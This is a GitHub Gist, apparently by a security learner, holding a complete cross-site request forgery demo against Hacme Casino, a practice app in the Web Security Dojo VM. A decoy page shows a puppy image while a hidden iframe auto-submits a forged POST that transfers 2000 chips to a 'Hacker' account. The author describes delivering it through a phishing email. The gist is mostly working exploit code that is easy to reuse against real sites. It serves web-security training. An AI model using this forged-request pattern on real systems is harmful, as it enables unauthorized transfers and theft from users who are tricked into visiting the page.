Skip to content

Instantly share code, notes, and snippets.

@TylerRockwell

TylerRockwell/attack_page.html

Created October 14, 2016 19:10
Show Gist options
  • Save TylerRockwell/e569a41245d9ad9e4dd1698d4d95f957 to your computer and use it in GitHub Desktop.
Save TylerRockwell/e569a41245d9ad9e4dd1698d4d95f957 to your computer and use it in GitHub Desktop.
Download ZIP
Example CSRF Attack
Raw
attack_page.html
<html>
<body>
<iframe src="fake_form.html" style="visibility:hidden; display:none"></iframe>
<iframe src='puppy.html' width="100%" height="100%" frameborder="0" scrolling="no" style="overflow:hidden"></iframe>
</body>
</html>
Raw
fake_form.html
<html>
<body>
<form name="transfer_form" method="post"
action="http://dojo:3000/account/transfer_chips">
<input type="text" name="transfer" value="2000" />
<input type="text" name="login[]" value="Hacker" />
</form>
<script type="text/javascript">
document.transfer_form.submit();
</script>
</body>
</html>
Raw
puppy.html
<html>
<body>
<img src='https://upload.wikimedia.org/wikipedia/commons/7/71/St._Bernard_puppy.jpg'>
</body>
</html>
@TylerRockwell
Copy link
Author

TylerRockwell commented Oct 14, 2016 •
edited
Loading

This is a demo attack, used in conjunction with a phishing email (or similar attack vector) to perform a CSRF attack to steal chips on Hacme Casino (a practice app most easily installed as part of the Web Security Dojo VM

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment